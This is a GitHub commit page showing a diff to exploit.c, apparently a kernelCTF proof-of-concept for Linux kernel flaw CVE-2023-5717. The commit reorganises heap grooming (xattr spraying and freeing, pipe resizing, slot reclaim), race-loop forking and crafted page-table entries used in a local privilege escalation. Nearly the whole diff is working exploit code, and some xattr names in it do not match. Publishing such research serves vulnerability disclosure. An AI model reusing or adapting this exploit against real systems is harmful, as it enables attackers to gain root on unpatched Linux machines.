Skip to content

Commit 9ed304d

Browse files
committed
Remove race_id & Fix kernel mem layout for exploit
1 parent d874b65 commit 9ed304d

File tree

1 file changed

+29
-26
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

1 file changed

+29
-26
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+29-26
Original file line numberDiff line numberDiff line change
@@ -278,7 +278,7 @@ void print_proc_self_maps_raw() {
278278

279279
close(fd);
280280
}
281-
int race_id;
281+
282282
void race(int group_leader) { // caller must have ownership of the group
283283
int pipefd[2];
284284
uint64_t buf[0x4000] = {0, };
@@ -289,27 +289,6 @@ void race(int group_leader) { // caller must have ownership of the group
289289
}
290290
int ppid = getppid();
291291
int status;
292-
key_t keyid;
293-
if (race_id == 1) {
294-
spray_xattr_page(0x3008, 12, 1); // 12296
295-
spray_xattr_page(0x4008, 2, 1); // 16392
296-
remove_xattr("security.x16392_0", 1);
297-
remove_xattr("security.x16392_1", 1);
298-
remove_xattr("security.x12296_5", 1);
299-
remove_xattr("security.x12296_6", 1);
300-
remove_xattr("security.x12296_11", 1);
301-
resize_pipe(vuln_pipe[1], 0x1000 * 220);
302-
remove_xattr("security.x12296_10", 1);
303-
remove_xattr("security.x12296_7", 1);
304-
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
305-
perror("reclaim failed");
306-
exit(EXIT_FAILURE);
307-
}
308-
}
309-
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
310-
perror("reclaim failed");
311-
exit(EXIT_FAILURE);
312-
}
313292
pid_t child_pid = fork();
314293
if (child_pid == 0) { // child read
315294
for (int i=0; i<512+511; i++){
@@ -332,11 +311,16 @@ void race(int group_leader) { // caller must have ownership of the group
332311
for (int _=0; _<32; _++) {
333312
read(group_leader, buf, sizeof(buf));
334313
}
335-
remove_xattr("security.ssiphim", 1);
314+
remove_xattr("security.x12296_ssiphim", 1);
336315
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
337316
perror("reclaim failed");
338317
exit(EXIT_FAILURE);
339318
}
319+
320+
if (setxattr("/tmp/x1", "security.x12296_ssiphim", buf, 0x3008, 0) < 0) {
321+
perror("reclaim failed");
322+
exit(EXIT_FAILURE);
323+
}
340324
uint64_t ptes[512];
341325
for (int _=0; _<512; _++)
342326
ptes[_] = 0x8000000000000067;
@@ -568,9 +552,28 @@ uint64_t lpe_gogosing(int ii, int jj) {
568552
void exploit(){
569553
_pin_to_cpu(CPU_A); // main core
570554
sched_yield();
571-
for (int _=0; _<MAX_TRY; _++) {
555+
556+
spray_xattr_page(0x3008, 12, 1); // 12296
557+
spray_xattr_page(0x4008, 2, 1); // 16392
558+
remove_xattr("security.x16392_0", 1);
559+
remove_xattr("security.x16392_1", 1);
560+
remove_xattr("security.x12296_5", 1);
561+
remove_xattr("security.x12296_6", 1);
562+
remove_xattr("security.x12296_11", 1);
563+
resize_pipe(vuln_pipe[1], 0x1000 * 220);
564+
remove_xattr("security.x12296_10", 1);
565+
remove_xattr("security.x12296_7", 1);
566+
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
567+
perror("reclaim failed");
568+
exit(EXIT_FAILURE);
569+
}
570+
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
571+
perror("reclaim failed");
572+
exit(EXIT_FAILURE);
573+
}
574+
575+
for (int i=0; i<MAX_TRY; i++) {
572576
r3try:
573-
race_id++;
574577
pid_t pid = fork();
575578
if (pid == 0) {
576579
int ret = 0;
@@ -611,7 +614,7 @@ void exploit(){
611614
// ret = 1;
612615
// goto gg;
613616
// }
614-
617+
615618
kill(siblings_fork_pid[0], SIGCONT);
616619
for (int _=0; _<RACE_PER_ITER; _++) {
617620
atomic_store(&race_sync, 0);

0 commit comments

Comments
 (0)